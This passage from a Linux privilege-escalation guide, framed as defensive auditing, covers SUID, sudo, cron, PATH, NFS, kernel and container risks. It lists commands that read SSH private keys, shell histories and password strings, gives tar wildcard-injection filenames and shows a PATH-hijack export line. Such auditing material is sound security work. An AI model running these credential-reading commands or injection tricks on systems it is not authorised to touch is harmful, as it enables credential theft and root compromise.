🚨 High-Risk Finding: If /etc/shadow is readable by non-root users, this is an immediate, critical misconfiguration. Password hashes can be cracked offline using John the Ripper or Hashcat [citation:4][citation:6].

📁 3. File System & Permission Auditing

File system enumeration identifies world-writable files, SUID/SGID binaries, weak directory permissions, and sensitive files exposed to unauthorized users. Misconfigured permissions are among the most common privilege escalation vectors [citation:4][citation:7].

Command Purpose What to Look For (Defensive Red Flags)
find / -perm -4000 -type f 2>/dev/null Find all SUID binaries SUID on shells, editors, compilers, or custom scripts. Cross-reference with GTFOBins [citation:1][citation:5][citation:7]
find / -perm -2000 -type f 2>/dev/null Find all SGID binaries Group privilege escalation; files inheriting group permissions [citation:8]
find / -writable -type d 2>/dev/null World-writable directories /tmp, /var/tmp, /dev/shm are expected. Others (/, /etc, /usr/bin) are critical [citation:8]
find / -perm -222 -type d 2>/dev/null World-writable directories (alternate) Same as above; prioritize non-standard locations [citation:8]
find / -name "*.conf" -type f 2>/dev/null Configuration files World-readable configs with passwords; weak permissions on /etc/ [citation:3]
find / -name "id_rsa" -o -name "id_dsa" -o -name "authorized_keys" 2>/dev/null SSH private/public keys World-readable private keys; keys left in home directories; keys in /root [citation:1][citation:3]
find / -type f -perm -0777 2>/dev/null World-writable and executable files Any system binary with 777 permissions is a severe risk [citation:8]
find / -user root -perm -4000 2>/dev/null SUID binaries owned by root Most dangerous category; potential for direct root escalation [citation:8]
ls -laR /etc/ Recursive listing of /etc Weak permissions on critical config files (passwd, shadow, sudoers, crontab) [citation:4]
ls -la /home/*/.ssh/ User SSH directories Writable authorized_keys; exposed private keys [citation:1]
getcap -r / 2>/dev/null List files with Linux capabilities cap_setuid, cap_setgid, cap_dac_override, cap_sys_admin on non-standard binaries [citation:5]
⚠️ SUID/SGID Risk: SUID binaries execute with the owner's privileges, typically root. A vulnerable SUID binary (e.g., an outdated version of pkexec, cve-2021-4034) can lead to direct root compromise. Always verify why SUID is needed [citation:2][citation:5].

⚙️ 4. Process & Service Enumeration

Process enumeration reveals which applications are running, under which user context, and whether any services are running with excessive privileges. This can uncover vulnerable software, misconfigured daemons, and rogue processes [citation:1][citation:4].

Command Purpose What to Look For (Defensive Red Flags)
ps aux All running processes with user Processes running as root (apache, mysql, custom scripts); unusual process names [citation:1][citation:5][citation:6]
ps aux | grep root Filter root-owned processes Services that should NOT run as root (web servers, database servers, file servers) [citation:1][citation:4]
ps -ef Full format process list Parent-child relationships; orphaned processes [citation:4][citation:8]
ps axjf Process tree Visual hierarchy; identify processes spawned by unauthorized users [citation:8]
top -b -n 1 Snapshot of resource usage High CPU/memory processes; unusual binary names
systemctl list-units --type=service --all All systemd services Enabled but unnecessary services; custom services running as root
cat /etc/services Service name to port mappings Unusual custom service definitions
ls -la /etc/init.d/ SysV init scripts World-writable init scripts; scripts running as root [citation:3]
💡 Defensive Best Practice: Services should run with the minimum necessary privileges. Web servers (Apache, Nginx) should run as www-data/nobody, not root. Database servers should have dedicated, unprivileged service accounts [citation:4].

🌐 5. Network Enumeration

Network enumeration identifies listening services, active connections, routing tables, and ARP caches. This helps defenders understand the system's network exposure and detect unauthorized backdoors or lateral movement paths [citation:1][citation:7].

Command Purpose What to Look For (Defensive Red Flags)
ifconfig or ip addr show Network interfaces and IPs Unexpected interfaces; promiscuous mode (sniffing); multiple IPs [citation:1][citation:7]
netstat -antup All TCP/UDP connections and listening ports Services bound to 0.0.0.0 (all interfaces); unusual high ports; backdoors [citation:1]
netstat -ltp TCP listening ports with process Which processes are exposing network services; unauthorized services [citation:7]
ss -tuln Modern netstat replacement Same as above; faster, more reliable [citation:7]
route or ip route show Routing table Multiple default routes; routes to internal networks; pivoting opportunities [citation:1]
arp -a ARP cache Recent neighbors; lateral movement targets [citation:1]
cat /etc/resolv.conf DNS servers Internal DNS servers; potential for DNS exfiltration
lsof -i List open network files Alternative to netstat/ss [citation:7]
⚠️ Internal Port Forwarding: A service listening on 127.0.0.1 may be forwarded externally via SSH tunneling or SOCKS proxies. Always check for unexpected port forwards [citation:7].

⏰ 6. Scheduled Tasks (Cron & Systemd Timers)

Cron jobs and systemd timers are scheduled tasks that often run with root privileges. Misconfigured cron jobs—writable scripts, wildcard injection, insecure PATH—are a common and high-impact privilege escalation vector [citation:3][citation:5][citation:6].

Command Purpose What to Look For (Defensive Red Flags)
crontab -l Current user's cron jobs Unexpected jobs; jobs running as current user [citation:1][citation:7]
cat /etc/crontab System-wide cron table CRITICAL: World-writable cron scripts; jobs running as root with relative paths; wildcard usage (*) [citation:3][citation:5]
ls -la /etc/cron* List all cron directories Writable permissions on cron.d, cron.daily, cron.hourly, etc. [citation:1][citation:3]
cat /etc/cron.d/* Contents of cron.d directory Third-party cron jobs; custom schedules [citation:7]
cat /var/spool/cron/crontabs/* User crontabs (root accessible) Privileged user cron jobs; root's personal crontab [citation:1][citation:3]
cat /etc/anacrontab Anacron jobs Jobs that run regardless of system uptime [citation:3]
systemctl list-timers --all Systemd timers (modern alternative) Systemd-based scheduled tasks; check for root-executed scripts
cat /etc/cron.allow /etc/cron.deny Cron access control lists Who is allowed/disallowed to use cron [citation:1][citation:3]
🚨 Wildcard Injection Risk: If a cron job runs tar * or chmod * with root privileges, attackers can create files with filenames matching command-line options (e.g., --checkpoint=1, --checkpoint-action=exec=shell.sh) to execute arbitrary code [citation:1][citation:6].

📦 7. Installed Software & Package Audit

Outdated and unpatched software is one of the most direct paths to privilege escalation. Enumerating installed packages and their versions allows defenders to identify vulnerable applications and prioritize patching [citation:4][citation:6].

Command Purpose What to Look For (Defensive Red Flags)
dpkg -l List installed packages (Debian/Ubuntu) Old versions of sudo, kernel, openssl, apache, mysql, php [citation:1][citation:6]
rpm -qa List installed packages (RHEL/CentOS/Fedora) Same as above; focus on kernel and critical services [citation:1][citation:6]
which python python3 perl gcc g++ Check for compilers/interpreters Compilers allow building exploits locally; interpreters can be abused with sudo rights [citation:4][citation:5]
sudo --version Sudo version Check for CVE-2021-3156 (Baron Samedit), CVE-2019-14287, CVE-2021-23240 [citation:9]
apache2 -v or httpd -v Apache version Old Apache versions (2.2, 2.4 < 2.4.49) have known RCE/LPE
mysql --version MySQL version Root privilege escalation via UDF or weak configs [citation:3]

📜 8. Command History & Sensitive Information

Command history files often contain plaintext passwords, API keys, database connection strings, and other sensitive data inadvertently typed by users. This is a passive information gathering method that requires no system modification [citation:1][citation:6].

Command Purpose What to Look For (Defensive Red Flags)
cat ~/.bash_history Current user's Bash history Passwords typed with -p flags (mysql, curl, wget, smbclient); credentials in git clones; sudo commands [citation:1][citation:7]
cat ~/.zsh_history Zsh history Same as above [citation:7]
cat ~/.mysql_history MySQL client history Plaintext database passwords [citation:3]
cat ~/.nano_history Nano editor history File paths; potential configuration exposure [citation:3]
cat ~/.viminfo Vim editor info Recently edited files; may include sensitive configs
cat ~/.ssh/id_rsa SSH private key CRITICAL: If world-readable, immediate compromise risk [citation:1]
grep -rni "PASSWORD" /etc/ 2>/dev/null Search for password strings in /etc Hardcoded passwords in config files (db.php, wp-config.php, .env) [citation:2][citation:3]
grep -rni "PASSWORD" /var/www/ 2>/dev/null Search webroot for credentials Database passwords in web application configs [citation:2]
Defensive Countermeasure: Organizations should configure HISTTIMEFORMAT, HISTSIZE limits, and automatically clear sensitive command history. User training should discourage typing passwords on command lines.

🐳 9. Container & Virtualization Detection

Systems running inside containers (Docker, LXC) or virtual machines have different privilege escalation risks. Container escapes can lead to host compromise, while VM escapes are rare but critical [citation:3].

Command Purpose What to Look For (Defensive Red Flags)
cat /proc/1/cgroup Detect Docker/LXC container Presence of "docker", "lxc", "kubepods" indicates container [citation:3]
ls -la /.dockerenv Docker environment marker If file exists → Docker container
cat /sys/class/dmi/id/product_name Virtualization platform VirtualBox, VMware, KVM, QEMU, Xen [citation:3]
systemd-detect-virt Detect virtualization Identifies container/VM type
find / -name "docker*" 2>/dev/null Docker installation User in docker group = root equivalent [citation:5]
⚠️ Docker Group Risk: Membership in the docker group is equivalent to root access without a password. Users can mount the host filesystem and execute commands as root [citation:5].

🔧 10. Environment Variables & PATH

Environment variables control program behavior and can be manipulated to hijack execution flow. A writable PATH or insecure LD_PRELOAD/LD_LIBRARY_PATH can lead to privilege escalation when combined with SUID binaries [citation:6][citation:8].

Command Purpose What to Look For (Defensive Red Flags)
env Display all environment variables API keys, tokens, passwords in environment; PATH with . (current directory) [citation:6][citation:8]
echo $PATH Show executable search path CRITICAL: PATH starts with . or : or includes writable directories [citation:6]
cat ~/.bashrc User shell configuration Custom PATH modifications; insecure aliases; exported credentials
cat ~/.profile User profile script Same as above
cat /etc/environment System-wide environment Global PATH issues; default variables
🚨 PATH Hijacking: If a SUID binary calls another binary without an absolute path (e.g., cat instead of /bin/cat), and the PATH can be modified, an attacker can create a malicious binary that executes with root privileges [citation:2][citation:4].

📋 Complete Manual Enumeration Checklist Summary

✅ System & Kernel
hostname uname -a cat /etc/*-release cat /proc/version lscpu
✅ Users & Groups
id sudo -l cat /etc/passwd cat /etc/group getent passwd
✅ File Permissions
find / -perm -4000 2>/dev/null find / -writable -type d 2>/dev/null getcap -r / 2>/dev/null find / -name id_rsa 2>/dev/null
✅ Processes & Services
ps aux | grep root netstat -antup ss -tuln systemctl list-units
✅ Scheduled Tasks
crontab -l cat /etc/crontab ls -la /etc/cron* systemctl list-timers
✅ History & Credentials
cat ~/.bash_history grep -r "PASSWORD" /etc/ cat ~/.ssh/id_rsa env | grep PASS
✅ Defensive Enumeration Summary

Manual enumeration is a system administrator's best practice, not just a penetration tester's tool. Regularly auditing your own systems using this checklist will:

  • ✅ Identify unauthorized privilege grants and permission creep
  • ✅ Detect unpatched software before attackers do
  • ✅ Discover exposed credentials and hardcoded secrets
  • ✅ Validate that least-privilege principles are enforced
  • ✅ Provide documentation for compliance and audits
💡 Recommended Workflow:
  1. Start with manual enumeration to understand the system context [citation:6].
  2. Cross-reference with automated tools (LinPEAS, LinEnum) to catch what you missed [citation:5][citation:7].
  3. Document all findings in a structured report.
  4. Prioritize remediation based on risk (sudo misconfigurations, world-writable system files, exposed credentials are CRITICAL).
  5. Re-audit after fixes to verify hardening [citation:7].
🚨 Legal & Ethical Reminder: This checklist is for defensive auditing of systems you own or have explicit permission to test. Unauthorized enumeration is illegal and unethical. Always obtain written authorization before conducting any security assessment.

21.7 SUID Binary Exploitation (Conceptual & Defensive)

⚠️ Strictly Educational & Defensive: This section explains SUID binaries, why they are necessary, and how misconfigurations create risk. No exploitation steps are provided. Commands shown are for system auditing and hardening only.

🧠 What is SUID? (Set owner User ID)

📄 Full Article: SUID Privilege Escalation

SUID (Set owner User ID) is a special Linux file permission that allows a user to execute a binary with the permissions of the file owner (usually root), not the permissions of the user running it. This is necessary for legitimate programs like passwd, sudo, and ping.

💡 Legitimate Use Case: /usr/bin/passwd is SUID root. A standard user needs to modify /etc/shadow to change their password. Without SUID, this would be impossible.
🔥 Why SUID Misconfigurations Are Dangerous
  • Privilege Creep: Binaries that no longer require SUID retain elevated permissions.
  • Vulnerable Binaries: Outdated SUID binaries (e.g., old pkexec, cve-2021-4034) can be exploited.
  • Custom Scripts: Administrators sometimes set SUID on custom scripts without understanding the security implications.
  • GTFOBins: Many standard Linux binaries have known "weird" functionality that can be abused when SUID is set.
🔍 Auditing for SUID Misconfigurations (Defensive Commands)
Command Purpose Defensive Red Flag
find / -perm -4000 -type f 2>/dev/null Find all SUID binaries Shells (bash, sh), editors (vim, nano), compilers (gcc) with SUID
find / -user root -perm -4000 -type f 2>/dev/null SUID binaries owned by root Most dangerous category; cross-reference with GTFOBins
find / -perm -2000 -type f 2>/dev/null Find SGID binaries Group privilege escalation (e.g., sgid on /usr/bin/crontab)
📋 Common SUID Binaries That Require Scrutiny
  • /usr/bin/pkexec (CVE-2021-4034)
  • /usr/bin/sudo
  • /usr/bin/mount
  • /usr/bin/umount
  • /usr/bin/crontab
  • /usr/bin/at
  • /usr/bin/chsh
  • /usr/bin/chfn
  • /usr/bin/gpasswd
Defense Strategy:
  • Remove SUID from binaries that do not absolutely require it.
  • Use capabilities instead of SUID where possible.
  • Regularly audit SUID binaries with automated tools.
  • Monitor for new SUID files with file integrity monitoring (AIDE, Tripwire).
📚 Further Reading: GTFOBinsCVE-2021-4034 (PwnKit)NotesTime SUID Guide

21.8 Sudo Misconfigurations (Conceptual & Defensive)

⚠️ Strictly Educational & Defensive: This section explains how overly permissive sudo rules create privilege escalation risks. Commands shown are for auditing /etc/sudoers and understanding privilege boundaries—never for exploitation.

Sudo (superuser do) allows a permitted user to execute a command as another user (usually root) according to rules in /etc/sudoers. When configured correctly, sudo provides granular, audited privilege escalation. When misconfigured, it grants unintended root access.

🔥 High-Risk Sudo Misconfigurations
Misconfiguration Example in /etc/sudoers Risk
NOPASSWD user ALL=(ALL) NOPASSWD: ALL No password required for any command; any session becomes root.
Dangerous Binaries user ALL=(ALL) /usr/bin/vim, /usr/bin/nano, /usr/bin/less Editors/pagers can spawn shells (:!bash, !/bin/sh).
Passwordless Service Restarts %webteam ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart apache2 If the service binary is writable or can be replaced, escalation is possible.
env_keep with LD_PRELOAD Defaults env_keep += "LD_PRELOAD" Users can inject malicious libraries into sudo commands.
🔍 Auditing Sudo Permissions (Defensive)
Command Purpose Defensive Red Flag
sudo -l List current user's sudo privileges NOPASSWD entries; commands that can escape to shell (vim, less, more, cp, find, nmap)
cat /etc/sudoers | grep -v "^#" View active sudo rules Overly permissive rules; insecure env_keep; users in sudo group without restrictions
grep "NOPASSWD" /etc/sudoers Find passwordless sudo entries Any NOPASSWD entry for non-admin users is high risk
sudo -l | grep -E "(vim|nano|less|more|cp|find|nmap|tcpdump)" Check for dangerous commands These commands often allow shell escapes; verify business need
🛡️ Defensive Sudo Hardening
  • Principle of Least Privilege: Users should only have sudo access to specific commands they need.
  • Require Passwords: Avoid NOPASSWD except for fully isolated, non-interactive scripts.
  • Use Command Aliases: Group allowed commands in /etc/sudoers.d/ for clarity.
  • Disable LD_PRELOAD: Set Defaults noexec or remove env_keep for dangerous variables.
  • Audit Logs: All sudo commands are logged to /var/log/auth.log; monitor for unusual activity.
💡 Secure Sudoers Example:
%webteam ALL=(root) /usr/bin/systemctl status apache2, /usr/bin/systemctl restart apache2
This allows the webteam to check and restart Apache—but not run arbitrary commands.
📚 Further Reading: sudoers ManualCVE-2019-14287NotesTime Sudo Guide

21.9 Linux Capabilities Abuse (Conceptual & Defensive)

⚠️ Strictly Educational & Defensive: Linux capabilities break root privileges into smaller, distinct units. This section explains how misassigned capabilities create risk. Commands shown are for auditing only.

🎯 What are Linux Capabilities?

📄 Full Article: Linux Capabilities

Capabilities are a fine-grained alternative to the all-or-nothing root privilege model. Instead of granting full root access, specific capabilities (e.g., CAP_NET_RAW, CAP_DAC_OVERRIDE) are assigned to binaries. When capabilities are assigned incorrectly, low-privilege users can escalate privileges.

🔥 Dangerous Capabilities
Capability Description Risk if Misassigned
CAP_SETUID Change UID/GID arbitrarily Binary can set its effective UID to 0 (root).
CAP_DAC_OVERRIDE Bypass file read/write/execute permissions Binary can read/write any file, including /etc/shadow.
CAP_SYS_ADMIN Extensive system administration privileges Often considered "root-lite"; allows mounting filesystems, configuring network, etc.
CAP_NET_RAW Use raw and packet sockets Allows packet crafting and spoofing; ARP poisoning, SYN floods.
CAP_SYS_PTRACE Trace arbitrary processes Can inject code into root-owned processes.
🔍 Auditing for Capabilities (Defensive)
Command Purpose Defensive Red Flag
getcap -r / 2>/dev/null Recursively list all files with capabilities cap_setuid+ep on any binary other than /usr/bin/ping; cap_dac_override on editors/compilers
capsh --print Show current user's capabilities Unusual capabilities in non-root shells
filecap /path/to/binary Check capabilities (if libcap-ng-utils installed) Same as getcap; human-readable output
📋 Real-World Capability Misassignment (Defensive View)
❌ Scenario: Python with CAP_DAC_OVERRIDE

Misconfiguration: sudo setcap cap_dac_override+ep /usr/bin/python3.9

Risk: Python can now read and write any file on the system, including /etc/shadow and SSH private keys.

Defense: Never assign CAP_DAC_OVERRIDE to interpreted languages or binaries that accept user input.

Defense Strategy:
  • Regularly audit files with getcap -r /.
  • Remove capabilities from binaries that do not explicitly require them.
  • Use setcap only with specific, justified requirements.
  • Prefer file permissions and sudo over capabilities for most use cases.
📚 Further Reading: capabilities(7)NotesTime Capabilities Guide

21.10 Writable /etc/passwd & Shadow Abuse (Conceptual & Defensive)

🚨 CRITICAL MISCONFIGURATION: If /etc/passwd or /etc/shadow is writable by non-root users, the system is fundamentally compromised. This section explains why these files must be strictly protected.

📄 Why /etc/passwd and /etc/shadow Are Sacred

📄 Full Article: /etc/passwd Abuse

/etc/passwd stores user account information (username, UID, GID, home directory, shell).
/etc/shadow stores password hashes and aging information.

ROOT-ONLY /etc/shadow should NEVER be readable or writable by non-root users.
ROOT-ONLY /etc/passwd should be world-readable (for mapping UIDs to usernames) but ONLY writable by root.

🔥 What Happens When These Files Are Writable?
❌ /etc/passwd Writable
  • Attacker can add a new root user (UID 0).
  • Attacker can change existing user's UID to 0.
  • Attacker can change shell of an existing user to /bin/bash.
  • Immediate, persistent root access.
❌ /etc/shadow Readable/Writable
  • Readable: Password hashes can be cracked offline.
  • Writable: Attacker can replace root hash with known password.
  • Attacker can disable password aging or lockout.
🔍 Auditing File Permissions (Defensive)
Command Expected Permission Defensive Red Flag
ls -la /etc/passwd -rw-r--r-- (644) Group/other write permission (620, 662, 777)
ls -la /etc/shadow -rw-r----- (640) or -rw------- (600) World-readable (644, 666); group-readable if group is not shadow
find /etc -name "passwd" -o -name "shadow" -perm -o+w 2>/dev/null No output Any world-writable passwd/shadow file
🛡️ Defensive Hardening
  • Fix Permissions Immediately: sudo chmod 644 /etc/passwd; sudo chmod 640 /etc/shadow
  • Verify Owner: sudo chown root:root /etc/passwd; sudo chown root:shadow /etc/shadow
  • Use File Integrity Monitoring: AIDE, Tripwire, or osquery to alert on changes to these files.
  • Regular Audits: Include passwd/shadow permissions in weekly security checks.
⚠️ Note on Legacy Systems: Older systems sometimes stored password hashes directly in /etc/passwd (second field, e.g., root:x:0:0:root:/root:/bin/bash — the "x" indicates shadow is used). If the second field contains a hash instead of "x", the system is not using shadow and is extremely vulnerable.
Golden Rule: If you find a world-writable /etc/passwd or readable /etc/shadow, consider the system compromised and initiate incident response.

21.11 Cron Job Exploitation (Conceptual & Defensive)

⚠️ Strictly Educational & Defensive: Cron jobs are scheduled tasks that often run with root privileges. This section explains how misconfigured cron jobs create privilege escalation risks. Commands are for system auditing only.

Cron is a time-based job scheduler in Unix-like systems. System administrators use cron to automate maintenance tasks (backups, updates, log rotation). Cron jobs often run with root privileges. Misconfigured scripts, writable files, or insecure paths in cron can allow low-privilege users to execute arbitrary code as root.

🔥 High-Risk Cron Misconfigurations
Misconfiguration Description Risk
Writable Cron Script A script executed by root cron is world-writable. Any user can modify the script; next execution runs attacker's code as root.
Insecure PATH in Crontab Cron uses a PATH that includes world-writable directories. Attacker places malicious binary in writable directory; cron executes it as root.
Wildcard Injection Cron command uses * wildcard with tar, chmod, or rsync. Attacker creates files with names that become command-line options (e.g., --checkpoint=1).
Script Calls Relative Paths Cron script calls python, wget, or bash without absolute path. PATH hijacking; attacker's version of binary executes.
🔍 Auditing Cron Jobs (Defensive)
Command Purpose Defensive Red Flag
cat /etc/crontab System-wide cron table Writable scripts; relative paths; wildcards in commands; PATH includes /tmp or .
ls -la /etc/cron.d/ Additional cron directories World-writable files; unexpected entries
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ Periodic cron directories Writable scripts; unauthorized scripts
crontab -l Current user's cron jobs User-specific cron running with elevated privileges (unusual)
find /etc/cron* -type f -perm -o+w 2>/dev/null Find world-writable cron files Any world-writable cron script is CRITICAL
grep -r "tar.*\*" /etc/cron* 2>/dev/null Find wildcard usage in tar Potential wildcard injection vulnerability
⚠️ Wildcard Injection Deep Dive (Defensive)
📦 Example: Tar Wildcard Injection

Vulnerable Cron Entry:
* * * * * root tar czf /backup/backup.tar.gz /var/www/*

Why It's Dangerous: Tar's command-line options can be passed via filenames. If an attacker can create files in /var/www/ named:

  • --checkpoint=1
  • --checkpoint-action=exec=shell.sh

Result: Tar executes shell.sh with root privileges.

Defense: Use absolute paths; avoid wildcards in cron; use -- to separate options from files.

🛡️ Defensive Cron Hardening
  • Use Absolute Paths: /usr/bin/python3 /scripts/backup.py not python3 backup.py.
  • Restrict Script Permissions: Cron scripts should be owned by root and NOT writable by others (chmod 700 or 750).
  • Avoid Wildcards: Replace * with explicit file lists or use find with -exec.
  • Secure PATH: Define PATH=/usr/bin:/bin:/usr/sbin:/sbin at the top of crontab.
  • Restrict Cron Access: Use /etc/cron.allow and /etc/cron.deny to control who can schedule jobs.
  • Log and Monitor: All cron executions are logged; monitor for failed jobs and unusual command paths.
💡 Secure Cron Example:
SHELL=/bin/bash
PATH=/usr/bin:/bin:/usr/sbin:/sbin
MAILTO=admin@example.com
0 2 * * * root /usr/local/bin/backup.sh
📚 Further Reading: NotesTime Cron Guide

21.12 PATH Variable Hijacking (Conceptual & Defensive)

⚠️ Strictly Educational & Defensive: This section explains how the PATH environment variable can be manipulated when privileged programs do not use absolute paths. Commands are shown for defensive auditing and secure coding awareness.

🛣️ What is the PATH Variable?

📄 Full Article: PATH Manipulation

PATH is a colon-separated list of directories that the shell searches for executables. When you type ls, the shell looks in each PATH directory until it finds an executable named ls. If a privileged program (SUID or sudo) calls an external command without an absolute path, an attacker who can modify PATH can hijack execution.

💡 Secure Coding: Always use absolute paths (/bin/ls) instead of relative paths (ls) in privileged programs and scripts.
🔥 How PATH Hijacking Works (High-Level)
  1. A SUID binary or root cron job calls system("ls") or similar without absolute path.
  2. Attacker creates a writable directory and places a malicious binary named ls inside it.
  3. Attacker modifies PATH to place their writable directory FIRST: export PATH=/tmp/exploit:$PATH.
  4. Privileged program runs; shell finds attacker's ls instead of /bin/ls.
  5. Malicious binary executes with root privileges.
🔍 Auditing for PATH Vulnerabilities (Defensive)
Command Purpose Defensive Red Flag
echo $PATH Display current PATH PATH contains . (current directory) at the start; writable directories before system directories
find / -perm -4000 -type f 2>/dev/null | xargs -I {} strings {} | grep -E "system|popen|exec" Find SUID binaries calling external commands Any SUID binary using system() without absolute path is high risk
grep -r "system" /usr/local/bin/ 2>/dev/null Audit local binaries for system() calls Custom scripts/binaries with unsafe command execution
for dir in $(echo $PATH | tr ":" " "); do ls -ld $dir 2>/dev/null; done Check permissions of PATH directories World-writable directories in PATH
🛡️ Defensive PATH Hardening
  • Secure Coding: Always use absolute paths in system(), popen(), execvp().
  • Remove . from PATH: export PATH=${PATH#.:}; never include . in root's PATH.
  • Use execve() with explicit environment: execve("/bin/ls", args, env);
  • Audit SUID/SGID binaries: Regularly scan for programs that call external commands.
  • Restrict PATH in Cron: Define explicit PATH at top of crontab.
⚠️ Common Mistake: Developers often use system() for simplicity. In privileged programs, this is extremely dangerous. Prefer library APIs (e.g., unlink() over system("rm")).
📚 Further Reading: SEI CERT ENV33-CNotesTime PATH Guide

21.13 NFS & File Share Misconfigurations (Conceptual & Defensive)

⚠️ Strictly Educational & Defensive: Network File System (NFS) allows remote file sharing. When misconfigured with no_root_squash, it allows remote users to create files with root ownership. This section explains the risk and defensive configuration.

🔗 What is NFS Root Squashing?

📄 Full Article: NFS Misconfiguration

Root squashing (root_squash) is a security feature in NFS that maps remote root user (UID 0) to the anonymous user (nobody/nfsnobody). This prevents a client's root user from having root privileges on the NFS server.

When no_root_squash is enabled, this protection is disabled—remote root can create files as UID 0 on the server.

🔥 High-Risk NFS Export Options
Export Option Description Risk
no_root_squash Client root retains root privileges on server CRITICAL: Client can create SUID root binaries on the server
rw + wide subnet Read-write access granted to entire subnet Any compromised machine in subnet can modify shared files
insecure Allows connections from ports above 1024 Unprivileged users can mount NFS shares
no_all_squash Preserves UIDs/GIDs of all users If UIDs match across systems, privilege escalation possible
🔍 Auditing NFS Configurations (Defensive)
Command Purpose Defensive Red Flag
cat /etc/exports View NFS export configuration no_root_squash, insecure, rw to broad networks (0.0.0.0/0)
showmount -e localhost List exported shares Shares visible to unauthorized clients
find / -mount -type f -perm -4000 2>/dev/null Find SUID binaries on local filesystems SUID binaries on NFS-mounted directories indicate potential misconfiguration
🛡️ Defensive NFS Hardening
  • ALWAYS use root_squash: This is the default and should never be disabled.
  • Restrict exports to specific IPs: /shared 192.168.1.100(rw,root_squash) not *(rw).
  • Use noexec, nosuid mount options: Prevent binary execution and SUID on client mounts.
  • Use NFSv4 with Kerberos: sec=krb5 provides authentication and encryption.
  • Audit SUID binaries on NFS shares: Remove SUID from any binary on network-mounted storage.
💡 Secure NFS Export Example:
/backup 192.168.1.0/24(rw,root_squash,sync,no_subtree_check)
/projects 10.0.0.5(rw,root_squash,sec=krb5)
🚨 Incident Response Note: If you discover no_root_squash in production, investigate immediately. Assume the server and any client that mounted the share may be compromised.
📚 Further Reading: RHEL NFS SecurityNotesTime NFS Guide

21.14 Kernel Exploits (Conceptual & Defensive)

🚨 CRITICAL RISK: Kernel vulnerabilities bypass ALL user-level security controls. Unlike application-level privilege escalation, kernel exploits affect the entire operating system. This section explains the concept of kernel vulnerabilities and why patching is non-negotiable.

🔐 What Are Kernel Privilege Escalation Vulnerabilities?

📄 Full Article: Kernel Vulnerabilities

The kernel is the core component of an operating system. It manages hardware, memory, processes, and enforces security boundaries (user vs kernel space).

A kernel vulnerability allows a low-privileged user to break these boundaries and execute code with kernel (root/SYSTEM) privileges.

⚠️ No Exploitation Commands: This section does NOT provide commands for kernel exploitation. It explains why kernel vulnerabilities exist, how they are discovered, and how to defend against them.
🔥 Why Kernel Exploits Are Extremely Dangerous
  • Bypass All Controls: They bypass sudo restrictions, file permissions, SELinux/AppArmor, and container isolation.
  • System-Wide Impact: Affects every process and user on the system.
  • Persistence: Kernel-mode code can hide from user-mode detection tools.
  • Difficult to Detect: Kernel rootkits are notoriously hard to discover.
  • One-Shot Root: A single flaw can turn any local user into root.
📋 Notable Linux Kernel Vulnerabilities (Defensive Awareness)
CVE Name/Description Affected Versions Defensive Takeaway
CVE-2016-5195 Dirty Cow (race condition in copy-on-write) Linux kernel 2.6.22+ (2007-2016) Patch within hours of disclosure; affected nearly all Linux systems for 9 years.
CVE-2021-4034 PwnKit (pkexec SUID bypass) All pkexec versions (2009-2022) Remove SUID from pkexec if unused; patch immediately.
CVE-2022-0847 Dirty Pipe (arbitrary file overwrite) Linux kernel 5.8+ Patching critical; allowed unprivileged users to write to read-only files.
CVE-2023-3269 StackRot (stack expansion race condition) Linux kernel 6.1-6.4 Immediate patching required for affected versions.
🔍 Detecting Kernel Vulnerabilities (Defensive)
Command Purpose Defensive Use
uname -r Get kernel version Cross-reference with vulnerability databases (CVE, NVD).
cat /etc/os-release OS distribution and version Determine which patches are applicable.
apt list --installed | grep linux-image List installed kernel packages Identify old kernels still present on system.
dpkg -l | grep linux-image Debian/Ubuntu kernel package list Multiple kernel versions indicate unremoved old kernels.
💡 Defensive Tools: linux-exploit-suggester (LES) can be used defensively to check if a system is vulnerable to known kernel exploits. It should only be used on systems you own.
🛡️ Defensive Strategy: Kernel Hardening
✅ Patch Management
  • Apply kernel updates within 48 hours for critical CVEs.
  • Use live patching (Ksplice, KernelCare) for zero-downtime security.
  • Remove old kernels after booting into patched version.
✅ Kernel Configuration
  • Enable kernel hardening features: CONFIG_DEBUG_CREDENTIALS, CONFIG_DEBUG_LIST.
  • Use kernel.kptr_restrict=1, kernel.dmesg_restrict=1.
  • Enable SELinux or AppArmor in enforcing mode.
⚠️ Compilers in Production = Risk Multiplier

Kernel exploits often require compilation on the target system. If gcc or make is present on production servers, it dramatically increases the risk of successful privilege escalation.

🚨 Best Practice: Remove compilers (gcc, make, clang) from production systems. Use a secure build server for compilation.
📊 Kernel Vulnerability Risk Matrix
Factor Low Risk High Risk Critical Risk
Kernel Version Patched < 30 days Unpatched > 6 months EOL kernel (2.6.x, 3.x, 4.x without backports)
Compilers Present No compilers gcc installed gcc + kernel headers + internet access
User Access Restricted, authenticated users only Multiple unprivileged users Public-facing shell access
Defense Summary: 90% of kernel privilege escalation attacks fail when:
  • ✔ The kernel is fully patched.
  • ✔ Compilers are not present on the system.
  • ✔ Execution in writable directories is restricted (noexec mounts).
  • ✔ Kernel logging and auditing are enabled.

21.15 Docker / Container Escapes (Conceptual & Defensive)

⚠️ Strictly Educational & Defensive: Containers (Docker, LXC, Podman) provide operating-system-level virtualization. They share the host kernel. This section explains how container misconfigurations can lead to container escape—breaking out to the host system—and how to prevent it.

🐳 What is Container Escape?

📄 Full Article: Container Escapes

Container escape is a privilege escalation technique where a process inside a container breaks the isolation boundary and gains access to the host operating system. Since containers share the host kernel, a kernel vulnerability or misconfiguration can allow escape.

🚨 Docker Group = Root Equivalent: Users in the docker group can mount the host filesystem and execute commands as root without a password. This is not a vulnerability—it is by design—but it is a common and dangerous misconfiguration.
🔥 High-Risk Container Misconfigurations
Misconfiguration Description Risk
User in docker group Non-root user added to docker group User can run containers with host filesystem mounts; full host root access
Privileged container --privileged flag used Container has all capabilities; can access host devices, kernel modules, and escape
Host filesystem mounts -v /:/host or --mount type=bind,source=/,target=/host Container can modify host binaries, shadow, SSH keys
--pid=host Container shares host process namespace Can see and interact with all host processes
--network=host Container shares host network namespace Can bind to host ports; bypass network isolation
--userns=host User namespace remapping disabled Container root = host root; reduces isolation
Capabilities not dropped CAP_SYS_ADMIN, CAP_DAC_OVERRIDE present Increased kernel attack surface; easier escape
🔍 Auditing Docker Security (Defensive Commands)
🐳 Docker Group Auditing
Command Purpose Defensive Red Flag
groups | grep docker Check if current user is in docker group If yes, user has effective root access
cat /etc/group | grep docker List all users in docker group Any non-admin user in docker group
🐳 Container Runtime Auditing
